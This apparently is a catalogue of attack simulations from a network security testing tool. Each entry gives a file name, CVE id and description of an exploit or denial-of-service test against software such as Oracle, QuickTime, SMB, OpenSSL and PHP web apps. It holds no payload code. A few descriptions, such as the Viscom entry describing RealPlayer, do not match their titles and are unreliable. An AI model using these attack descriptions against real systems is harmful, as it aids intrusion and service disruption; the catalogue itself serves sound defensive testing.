Detailed Description:	A remote code execution vulnerability exists in Oracle Data Profiling and Data Quality for Data Integrator. The vulnerability is due to dereferencing an arbitrary pointer within the TSSL2.DscForms.DateTimeWrapper ActiveX control. A remote attacker can exploit this vulnerability by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-2416
OSVDB:	105819
Threat File Name:	awstats_cmi_c_IPv6.xml
Executive Description:	AWStats Logfile Parameter Remote Command Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query containing a shell command which is executed by the server via the "logfile" parameter which does not properly filter shell metacharacters. AWStats is a webapplication with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	virtualcd_activex_rcmd.xml
Executive Description:	Virtual CD 9.0.0.2 (vc9api.DLL 9.0.0.57) Remote Command Execution Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Virtual CD ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20071123-13_Apple_QuickTime_RTSP_Response_Crafted_Content-Type_Header_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime RTSP Response Crafted Content-Type Header Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the way Apple QuickTime handles Real Time Streaming Protocol (RTSP) responses. The flaw is due to boundary error when parsing a crafted Content-Type header. A remote attacker can exploiting this vulnerability by enticing the target user to visit a malicious web site. Successful attack could allow for arbitrary code injection and execution with the privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-6166
Threat Package:	Standard
Threat File Name:	imesh_activex_rexec_IPv6.xml
Executive Description:	iMesh <= 7.1.0.x IMWebControl Class (IMWeb.dll 7.0.0.x) Remote Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in iMesh IMWebControl Class (IMWeb.dll 7.0.0.x) ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delived via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6493
Threat Package:	Standard
Threat File Name:	pmwiki_xss_IPv6.xml
Executive Description:	PmWiki Search Cross-Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing HTML or Javascript. PmWiki is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3849
OSVDB:	21056
Threat Package:	Standard
Threat File Name:	FSC20090113-13_Microsoft_Windows_SMB_TRANS_Request_Error_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Windows SMB TRANS Request Error Handling Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows SMB services. The flaw is due to insufficient input validation when handling SMB transactions. Remote authenticated attackers can exploit this vulnerability by sending specially crafted messages to the affected interface. A successful exploitation can lead to arbitrary code execution with System level privileges. In an attack case where code injection is not successful, an attacked system will encounter an unrecoverable system error and display the Blue Screen of Death (BSOD). The target will halt or restart based on the configuration of system failure event handling. If the system is halted, it must be restarted manually by an administrator. In a more sophisticated attack, where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the System level.
Protocol Type:	SMB
CVEID:	CVE-2008-4834
Threat Package:	Standard
Threat File Name:	FSC20090330-02_Sun_Java_Runtime_Environment_Type1_Font_Parsing_Integer_Overflow_Vulnerability.xml

Executive Description:	Sun Java Runtime Environment Typel Font Parsing Integer Overflow Vulnerability
Detailed Description:	There exists an integer overflow vulnerability in Sun Java Runtime Environment software. The vulnerability is due to signedness error while parsing certain Typel font files. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted HTML file. Successful exploitation may lead to arbitrary code execution on the target. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected process will terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1099
Threat Package:	Standard
Threat File Name:	floodHTTPGet_IPv6.xml
Executive Description:	HTTP Get Flood (IPv6 Version)
Detailed Description:	This threat launches a denial of service attack against a webserver by repeatedly requesting the root page. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	osp_rfi_IPv6.xml
Executive Description:	osp <= 1.2.1 (cfgPathToProjectAdmin) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. OSP is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2157
Threat Package:	Standard
Threat File Name:	FSC20090415-01_Oracle_Application_Server_10g_OPMN_Service_Format_String_Vulnerability_IPv6.xml
Executive Description:	Oracle Application Server 10g OPMN Service Format String Vulnerability (IPv6 Version)
Detailed Description:	A format string vulnerability exists in Oracle Application Server. The flaw is due to improper handling of user data when logging the events. A remote attacker could exploit this vulnerability by sending specially crafted request to the target system. In an attack case where code injection is not successful, the affected process will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process with System level privileges. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2009-0993
Threat Package:	Standard
Threat File Name:	openbsd_icmp6_bof_IPv6.xml
Executive Description:	OpenBSD ICMPV6 Packet Handling Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a specially crafted IPv6 ICMP packet to leverage a flaw in kern/uipc_mbuf2.c in servers running OpenBSD 3.9 and 4.0, that will lead to a denial of service condition or execution of arbitrary code with kernel-level privileges. OpenBSD is a unix operating system. (IPv6 Version)
Protocol Type:	ICMP6/IPv6
CVEID:	CVE-2007-1365
OSVDB:	33050
Threat Package:	Standard
Threat File Name:	TSL20111011-18_Microsoft_Internet_Explorer_Option_Element_Use-After-Free.xml
Executive Description:	Microsoft Internet Explorer Option Element Use-After-Free
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to the way the Option elements are handled by Internet Explorer. A remote attacker could exploit this vulnerability by enticing a target user to view a specially crafted webpage, or open a crafted Microsoft Office document that hosts the IE rendering engine and contains an ActiveX control marked "safe for initialization". A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1996
Threat File Name:	winproxy_telnet_DoS_IPv6.xml
Executive Description:	WinProxy Telnet Denial of Service (IPv6 Version)
Detailed Description:	This threat causes a denial of service in the winproxy telnet proxy. It will cause a heap corruption to occur, which may be exploitable. This threat works by sending 5000 0xFF byte packets to the telnet port. Telnet typically listens on port 23. (IPv6 Version)
Protocol Type:	Telnet/IPv6
CVEID:	CVE-2005-3654
OSVDB:	22239
Threat File Name:	quicktime_applet_rcmdexec_IPv6.xml
Executive Description:	Apple Quicktime (Multiple Browsers) Command Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a flaw in Apple Quicktime that uses a malicious javascript to execute arbitrary code via crafted a media file or webpage. This threat is delivered via http. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2397
Threat Package:	Standard
Threat File Name:	TSL20130318-10_Siemens_SIMATIC_WinCC_RegReader_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	Siemens SIMATIC WinCC RegReader ActiveX Control Buffer Overflow(IPV6 version)
Detailed Description:	A stack-based buffer overflow vulnerability exists in Siemens SIMATIC WinCC. The vulnerability is due to a boundary error in the RegReader ActiveX control. A remote attacker can exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the current user.
Protocol Type:	IPV6,HTTP,HTTPS

CVEID:	CVE-2013-0674
OSVDB:	91311
Threat File Name:	FSC20100419-02_Multiple_Vendors_AgentX_receive_agentx_Integer_Overflow_IPv6.xml
Executive Description:	Multiple Vendors AgentX receive_agentx Integer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in multiple products that use the AgentX++ software. The vulnerability is due to an integer overflow error in AgentX::receive_agentx function that can lead to a heap buffer overflow. A remote unauthenticated attacker can exploit this vulnerability by sending maximum payload length value in a packet to the target server on port 705/TCP. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the server process. Code injection that does not result in execution could terminate the application due to memory corruption, and could result in a Denial of Service condition. (IPv6 Version)
Protocol Type:	AgentX/IPv6
CVEID:	CVE-2010-1319
Threat Package:	Standard
Threat File Name:	phplinkex_rfi.xml
Executive Description:	PhpLinkExchange Input Validation Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhpLinkExchange is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	photokorn_b_rfi.xml
Executive Description:	Photokorn Ext_cats.php Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Photokorn is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20081008-26_Novell_eDirectory_SOAP_Handling_Accept_Language_Header_Heap_Overflow_IPv6.xml
Executive Description:	Novell eDirectory SOAP Handling Accept Language Header Heap Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Novell eDirectory. The flaw is due to boundary error when processing SOAP-HTTP requests. By supplying overly large data to the Accept-Language header, a remote unauthenticated attacker can leverage this vulnerability to inject and execute arbitrary code on the target host with System or root level privileges. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2008-4479
Threat Package:	Standard
Threat File Name:	Mercury_IMAP_bof_IPv6.xml
Executive Description:	Mercury IMAP Buffer Overflow Attack (IPv6 Version)
Detailed Description:	This threat attempts to spawn a shell on a remote machine running Mercury IMAP. Connects to the IMAP service, which runs on port 143. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2004-2513
Threat Package:	Standard
Threat File Name:	jnlp_injection_IPv6.xml
Executive Description:	Java JNLP Command Injection (IPv6 Version)
Detailed Description:	This threat injects a command line argument into the javaws process run by the Java plugin. This injection allows a malicious web page to specify a security policy of its own in order to access files typically "sandboxed" by the application. This type of file typically resides on a webserver listening on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0836
OSVDB:	14899
Threat Package:	Standard
Threat File Name:	phpbluedragon_rfi_IPv6.xml
Executive Description:	PhpDragonCMS remote file include (IPv6 Version)
Detailed Description:	This threat sends a crafted url that exploits a failing in the Template.PHP function which allows a malicious user to include commands in the context of the vulnerable web server. PhpDragonCMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	MSsqlOverflow_IPv6.xml
Executive Description:	MS02-039/MS02-061 MS SQL Server 2000 Buffer Overflow (IPv6 Version)
Detailed Description:	MS SQL Server 2000 employs UDP Port 1434 for foreign hosts to ping for connectivity. This threat will cause a buffer overflow by causing the MSSQL service to copy a long string onto the stack before attempting to open a registry key with that name. This same flaw was exploited by the slammer worm. (IPv6 Version)
Protocol Type:	MSSQL/IPv6
CVEID:	CVE-2002-0649
OSVDB:	4577
Threat Package:	Standard
Threat File Name:	TSL20150109-08_OpenSSL_DTLS_dtls1_buffer_record_Denial_of_Service.xml
Executive Description:	OpenSSL DTLS dtls1_buffer_record Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in OpenSSL. The vulnerability is due to memory exhaustion when parsing specially crafted DTLS packets. A remote, unauthenticated attacker can exploit this vulnerability by sending a large number of crafted packets to a vulnerable server. Successful exploitation will result in high memory consumption and lead to a denial of service condition. Tester should set variable \$destPort to 4433 before test.
Protocol Type:	DTLS
CVEID:	CVE-2015-0206
OSVDB:	116791

Threat File Name:	TSL20111123-03_HP_Data_Protector_Multiple_Products_RequestCopy_SQL_Injection_IPv6.xml
Executive Description:	HP Data Protector Multiple Products RequestCopy SQL Injection(IPV6 VERSION)
Detailed Description:	An SQL injection vulnerability exists in HP Data Protector Notebook Extension and HP Data Protector for Personal Computers. The specific flaw is caused by insufficient validation of the type field in a user supplied SOAP request to the DPNECentral web service. A remote unauthenticated attacker can leverage this vulnerability to execute arbitrary SQL queries on a target system within the security context of the affected service.
Protocol Type:	IPV6,HTTP
CVEID:	CVE-2011-3158
Threat File Name:	FSC20080806-07_Apache_HTTP_Server_mod_proxy_ftp_Wildcard_Characters_Cross-Site_Scripting.xml
Executive Description:	Apache HTTP Server mod_proxy_ftp Wildcard Characters Cross-Site Scripting
Detailed Description:	There exist a cross-site scripting vulnerability in Apache mod_proxy_ftp module. The flaw is due to lack of sanitization of user supplied input data. The flaw may be exploited by malicious users to execute arbitrary HTML code on target user's web browser, within the context of a trusted web site.
Protocol Type:	HTTP
CVEID:	CVE-2008-2939
Threat Package:	Standard
Threat File Name:	FSC20101105-04_Symantec_IM_Manager_LoggedInUsers_lgx_Definition_File_Multiple_SQL_Injections_IPv6.xml
Executive Description:	Symantec IM Manager LoggedInUsers.lgx Definition File Multiple (IPV6 VERSION)
Detailed Description:	An SQL injection vulnerability exists in Symantec IM Manager. The vulnerability is due to insufficient input validation of the parameters loginTimeStamp, dbo, dateDiffParam and whereClause. A remote non-privileged user can exploit this vulnerability by embedding malicious SQL code as part of the vulnerable parameter. Successful exploitation would result in disclosure of sensitive information, and modification or manipulation of the data in the underlying database.
Protocol Type:	IPV6,HTTP
CVEID:	CVE-2010-0112
Threat File Name:	FSC20080912-02_Trend_Micro_OfficeScan_Server_cgiRecvFile_Buffer_Overflow_IPv6.xml
Executive Description:	Trend Micro OfficeScan Server cgiRecvFile Buffer Overflow (IPV6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Trend Micro's OfficeScan. The flaw is due to a boundary error when handling HTTP requests. An unauthenticated remote attacker can leverage this vulnerability to inject and execute arbitrary code with System level privileges on the target system. (IPV6 Version)
Protocol Type:	HTTP-ALT/IPv6
CVEID:	CVE-2008-2437
Threat Package:	Standard
Threat File Name:	dhcpDiscover.xml
Executive Description:	DHCP Discover Flood
Detailed Description:	This threat sends out a flood of DHCP discover packets in an attempt to cause a denial of service on the target machine.
Protocol Type:	DHCP
Threat Package:	Standard
Threat File Name:	TSL20130430-10_IBM_SPSS_SamplePower_Vsflex71_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	IBM SPSS SamplePower Vsflex71 ActiveX Control Buffer Overflow [IPV6, Version]
Detailed Description:	A buffer overflow vulnerability exists in IBM SPSS SamplePower. The vulnerability is due to a lack of boundary checking on the user-supplied ComboList or ColComboList property value in the Vsflex71 ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website. Successful exploitation could allow arbitrary code execution in the context of the target user.
Protocol Type:	IPV6, HTTP, HTTPS
CVEID:	CVE-2012-5947
OSVDB:	92846
Threat File Name:	TSL20111212-08_Nullsoft_Winamp_AVI_Stream_Count_Integer_Overflow.xml
Executive Description:	Nullsoft Winamp AVI Stream Count Integer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Winamp. The vulnerability is due to an integer overflow when a stream count from an AVI file is used in a buffer size calculation. A remote unauthenticated attacker can exploit this vulnerability by enticing a target user to open a crafted AVI file. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-3834
Threat File Name:	lsass.xml
Executive Description:	MS04-007 LSASS Reboot Buffer Overflow
Detailed Description:	This attack takes advantage of the buffer overflow in Microsoft's lsasrv.dll service. Causes a remote machine to go down for a scheduled reboot. The LSASS service listens on Microsoft ports, such as 445.
Protocol Type:	SMB
CVEID:	CVE-2003-0818
OSVDB:	3902
Threat Package:	Standard
Threat File Name:	FSC20041028-01_Squid_ASN_1_Header_Parsing_Denial_of_Service_IPv6.xml
Executive Description:	Squid ASN.1 Header Parsing Denial of Service (IPV6 Version)
Detailed Description:	There is a vulnerability in the way Squid web proxy parses SNMP messages. An SNMP message with specially crafted ASN.1 length fields can generate memory access violation errors. The exception generated by these errors can cause the product to restart, creating a denial of service condition for active transactions. (IPV6 Version)
Protocol Type:	FILECAST/IPv6
CVEID:	CVE-2004-0918
Threat Package:	Standard

Threat File Name:	TSL20140421-11_CA_ERwin_Web_Portal_ConfigServiceProvider_Information_Disclosure.xml
Executive Description:	CA ERwin Web Portal ConfigServiceProvider Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in CA ERwin Web Portal. This vulnerability is due to lack of authentication and insufficient input validation in the ConfigServiceProvider servlet when processing HTTP requests. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary XML files on a target system, including XML files which store database credentials.
Protocol Type:	HTTP
CVEID:	CVE-2014-2210
OSVDB:	106135
Threat File Name:	phpbb_tweaked_rfi_IPv6.xml
Executive Description:	Phpbb Tweaked (phpbb_root_path) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Phpbb Tweaked is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170613-27_Microsoft_Windows_LNK_CVE-2017-8464_Remote_Code_Execution.xml
Executive Description:	Microsoft Windows LNK CVE-2017-8464 Remote Code Execution
Detailed Description:	A remote code execution vulnerability has been reported in Microsoft Windows. The vulnerability is due to improper handling of .LNK (shortcut) files. A remote attacker could exploit this vulnerability by enticing a target user into viewing a folder containing a malicious LNK file and binary. Successful exploitation results in the execution of arbitrary code under the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP
CVEID:	CVE-2017-8464
Threat File Name:	TSL20160510-26_Microsoft_Scripting_Engine_CVE-2016-0189_Memory_Corruption.xml
Executive Description:	Microsoft Scripting Engine CVE-2016-0189 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft VBScript and JScript engines used by Internet Explorer. This vulnerability is due to improper object access in memory.A remote attacker could exploit these vulnerabilities by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP
CVEID:	CVE-2016-0189
Threat File Name:	phpraid_cmi_IPv6.xml
Executive Description:	phpRaid Remote File Inclusion (IPv6 Version)
Detailed Description:	This threat sends a crafted url containing a local or remote path to PHP or HTML via auth.php "phpbb_root_path" parameter which is included by the server allowing arbitrary remote code execution. phpRaid is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2283
Threat Package:	Standard
Threat File Name:	gnugv_psfile_bof.xml
Executive Description:	GNU GV Stack Buffer Overflow Vulnerability
Detailed Description:	This threat uses a malicious postscript file to leverage a flaw in the 'ps_gettext()' function resulting in a buffer overflow condition. GNU GV is a PostScript and PDF viewer and the malicious file can be retrieved from a web server listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5864
Threat Package:	Standard
Threat File Name:	FSC20080212-20_Microsoft_Works_File_Converter_WPS_File_Section_Length_Headers_Memory_Corruption.xml
Executive Description:	Microsoft Works File Converter WPS File Section Length Headers Memory Corruption
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Works File Converter. The vulnerability is due to improper validation of various lengths in WPS document. A remote attacker can exploit this vulnerability by enticing the target user to open a maliciously constructed WPS document, potentially causing arbitrary code to be injected and executed in the security context of the logged-in user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, affected product will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2007-0216
Threat Package:	Standard
Threat File Name:	aspnuke_injection.xml
Executive Description:	ASPnuke SQL Injection
Detailed Description:	This threat changes the administrator name and password through a SQL injection attack in ASPnuke. ASPnuke is a web application which would typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2067
OSVDB:	15801
Threat Package:	Standard
Threat File Name:	TSL20120425-01_Oracle_WebCenter_Forms_Recognition_ActiveX_Control_Arbitrary_File_Creation.xml
Executive Description:	Oracle WebCenter Forms Recognition ActiveX Control Arbitrary File Creation
Detailed Description:	A directory traversal vulnerability exists in Oracle WebCenter Forms Recognition. The vulnerability is due to insufficient validation of parameters used in the Save() method in the ActiveX control CroProj.dll. This can be exploited to write arbitrary files in the context of the currently logged-on user. A remote attacker could possibly exploit this vulnerability to achieve arbitrary code execution by enticing a target user to open a crafted web page.

Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-1709
OSVDB:	81367
Threat File Name:	FSC20070323-01_Microsoft_Windows_Vista_Windows_Mail_File_Execution_IPv6.xml
Executive Description:	Microsoft Windows Vista Windows Mail File Execution (IPv6 Version)
Detailed Description:	There exists a vulnerability in Microsoft Windows Mail product. The vulnerability is due to insufficient validation of URLs in incoming emails. A remote attacker can exploit this vulnerability by enticing a target user to open an email message and click on a specially crafted URL within the message which refers to an executable file on the client system. Successful exploitation would allow for arbitrary command execution with the privileges of the currently logged-in user. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2007-1658
Threat Package:	Standard
Threat File Name:	TSL20130912-09_HP_ProCurve_Manager_SNAC_GetDomainControllerServlet_Policy_Bypass_IPv6.xml
Executive Description:	HP ProCurve Manager SNAC GetDomainControllerServlet Policy Bypass(IPv6 Version)
Detailed Description:	A policy bypass vulnerability exists in HP ProCurve Manager SNAC. The vulnerability is due to a design weakness in the GetDomainControllerServlet class. A remote attacker could exploit the vulnerability by sending specially crafted data to a vulnerable version of the software. Successful exploitation could result in authentication bypass.
Protocol Type:	HTTPS,IPv6
Threat File Name:	fuzz-HTTP_AppendformatnToPOST.xml
Executive Description:	Fuzz HTTP OPTION appended by %n
Detailed Description:	Fuzzes the Method field by appending %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	quezza_cmi_IPv6.xml
Executive Description:	Quezza BB 1.0 (quezza_root_path) File Inclusion Vulnerability. (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via class_template.php's quezza_root_path parameter. Docebo is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2485
OSVDB:	25562
Threat Package:	Standard
Threat File Name:	FSC20081209-23_Microsoft_Visual_Basic_Hierarchical_FlexGrid_ActiveX_Control_Code_Execution.xml
Executive Description:	Microsoft Visual Basic Hierarchical FlexGrid ActiveX Control Code Execution
Detailed Description:	There exists a buffer overflow vulnerability in multiple Microsoft products. The vulnerability is due to a boundary error in an animation ActiveX control while opening a specially crafted audio/video file. Remote attackers can exploit this vulnerability by enticing the target user to visit a malicious web page, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application (IE) may terminate as a result of invalid memory access.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-4254
Threat Package:	Standard
Threat File Name:	FSC20080930-27_Autodesk_Multiple_Products_LiveUpdate_ActiveX_Control_Code_Execution_IPv6.xml
Executive Description:	Autodesk Multiple Products LiveUpdate ActiveX Control Code Execution (IPv6 Version)
Detailed Description:	There exists a code execution vulnerability in Autodesk LiveUpdate ActiveX Control shipped with multiple products. The vulnerability is due to lack of sanitation while handling parameters passed to the ApplyPatch method. A remote attacker could exploit the vulnerability by enticing the target user to open a malicious HTML document. Successful exploitation would cause arbitrary command execution in the security context of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	firefoxScroll.xml
Executive Description:	Firefox XUL Drag and Drop Security Bypass
Detailed Description:	This threat sends a malicious webpage designed to bypass Firefox's security restrictions on accessing local files. By using this attack, a user can access certain XUL scripts contained in extensions on the web browser. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-0401
OSVDB:	15010
Threat Package:	Standard
Threat File Name:	pluggedout_sqli.xml
Executive Description:	PluggedOut Blog Index.PHP Multiple SQL Injection Vulnerabilities
Detailed Description:	This threat sends a crafted URL that an SQL query that is executed by the server. eFiction is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4054
OSVDB:	21480
Threat File Name:	FSC20100325-01_OpenSSL_TLS_Connection_Record_Handling_Denial_of_Service.xml
Executive Description:	OpenSSL TLS Connection Record Handling Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in OpenSSL. The flaw is due to an error in the ssl3_get_record() function when handling TLS connections. A remote attacker can exploit this vulnerability by crafting certain records in TLS packets. Successful exploitation would result in the termination of the affected service due to a read attempt at NULL, which leads to a Denial of Service condition.
Protocol Type:	TLS
CVEID:	CVE-2010-0740

Threat Package:	Standard
Threat File Name:	see-commerce_rfi_IPv6.xml
Executive Description:	See-Commerce Owimg.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url that exploits a failing in the owimg.php function which allows a malicious user to include commands in the context of the vulnerable web server. See-Commerce is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070726-10_Microsoft_Windows_ShellExecute_and_IE7_URL_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows ShellExecute and IE7 URL Handling Code Execution (IPv6 Version)
Detailed Description:	A vulnerability has been reported in Microsoft Windows that could be exploited by remote attackers to compromise a vulnerable system. The issue exists in the interaction between ShellExecute and IE7 URLMon component when handling malformed URLs. Successful exploitation would allow the attacker to execute arbitrary command on the vulnerable client system within the context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3896
Threat Package:	Standard
Threat File Name:	linuxBufferExp.xml
Executive Description:	Linux Buffer Exposure
Detailed Description:	This exploit exposes an issue in the ICMP request protocol which occurs when sending ICMP requests that are smaller than the minimum frame size to a user specified host. Ethernet packets must be 64 bytes in length and will be padded with zeros to ensure this. When the packet is smaller than the minimum size this will result in the packet being padded with information off of the host's buffer which may contain sensitive information. This information can be, but is not limited to, user passwords and login information, and recent user activities.
Protocol Type:	IP
CVEID:	CVE-2003-0001
OSVDB:	3873
Threat Package:	Standard
Threat File Name:	filecopaftp_list_bof.xml
Executive Description:	FileCOPA FTP Server <= 1.01 (LIST) Remote Buffer Overflow Exploit
Detailed Description:	This threat exploits a flaw in FileCOPA FTP Server via the LIST command causing a denial of service condition in the affected server and possibly a buffer overflow condition to execute arbitrary commands on behalf a malicious user. FileCOPA FTP Server is an FTP application that typical listens on TCP port 21.
Protocol Type:	FTP
CVEID:	CVE-2006-3726
OSVDB:	27389
Threat Package:	Standard
Threat File Name:	wsftp.xml
Executive Description:	WS_FTP Denial of Service
Detailed Description:	This threat sends a CWD FTP command to a vulnerable FTP server, known to cause it to crash.
Protocol Type:	FTP
CVEID:	CVE-1999-0362
OSVDB:	937
Threat Package:	Standard
Threat File Name:	TSL20111123-08_Viscom_Software_Image_Viewer_ActiveX_TIFMergeMultiFiles_Buffer_Overflow.xml
Executive Description:	Viscom Software Image Viewer ActiveX TIFMergeMultiFiles Buffer Overflow
Detailed Description:	An integer underflow vulnerability exists in RealPlayer's handling of MPEG movies. The vulnerability is caused when the application subtracts one from a user controlled value that is then used as a loop iterator. A remote attacker can exploit this vulnerability by enticing a user to open a specially crafted MPEG file. Successful exploitation can lead to the injection and execution of arbitrary code in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS
Threat File Name:	TSL20150916-06_GE_MDS_PulseNET_FileDownloadServlet_Directory_Traversal_IPv6.xml
Executive Description:	GE MDS PulseNET FileDownloadServlet Directory Traversal IPv6 version.
Detailed Description:	A directory traversal vulnerability exists in the GE MDS PulseNET products. The vulnerability is due to insufficient validation in FileDownloadServlet. By sending crafted HTTP requests that contains directory traversal characters, an unauthenticated remote attacker can exploit this vulnerability to read and then delete an arbitrary file on the system in the security context of SYSTEM. Tester should set the variable \$destPort to 8080 before test.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2015-6459
Threat File Name:	NOOPtcpUNIX2_IPv6.xml
Executive Description:	TCP NOOP packet variant HP-UNIX 2 (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	mysql_commander_cmi_IPv6.xml
Executive Description:	MySQL Commander <= 2.7 (home) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string containing a path to an arbitrary script file which is included by the server and executed on the affected server. MySQL Commander is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1439
Threat Package:	Standard

Threat File Name:	esyndicat_news_sqli.xml
Executive Description:	eSyndiCat (news.php) Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a HTTP request for a URL that contains an SQL query which will be executed on the affected server. eSyndiCat is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	simpleblog_sql.xml
